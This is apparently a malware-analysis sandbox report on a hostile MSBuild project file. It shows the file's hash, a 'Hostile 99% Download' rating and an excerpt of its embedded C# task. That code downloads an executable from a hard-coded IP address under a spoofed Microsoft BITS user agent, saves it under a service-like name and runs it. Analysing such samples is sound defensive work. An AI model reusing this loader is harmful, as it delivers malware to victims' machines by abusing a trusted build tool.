Hostile 99% Download

msbuild-qualified-normal-window.xml

MSBuild inline HTTP download with process launch cluesAssigns Microsoft BITS user agent
SHA-25681e0b2deca1a5d9a16eca07da2b86d8f46f166f0657abb5b094f0e37e33c36ae

Evidence

XML project uses the MSBuild schema lines 1–32
1<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
2 <Target Name="X"><T/></Target>
3 <UsingTask TaskName="T" TaskFactory="CodeTaskFactory"
⋯11 lines
15 public override bool Execute() {
16 try {
17 var u = "http://41.216.188.11:8000/MyApp2.exe";
18 var d = Path.Combine(Path.GetTempPath(), "winsvc_" + DateTime.Now.Ticks + ".exe");
19 using (var w = new System.Net.WebClient()) {
20 w.Headers.Add("User-Agent", "Microsoft BITS/7.8");
21 w.DownloadFile(u,d);
22 }
23 System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo { FileName = d, WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal });
24 } catch {}
25 return true;
⋯7 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.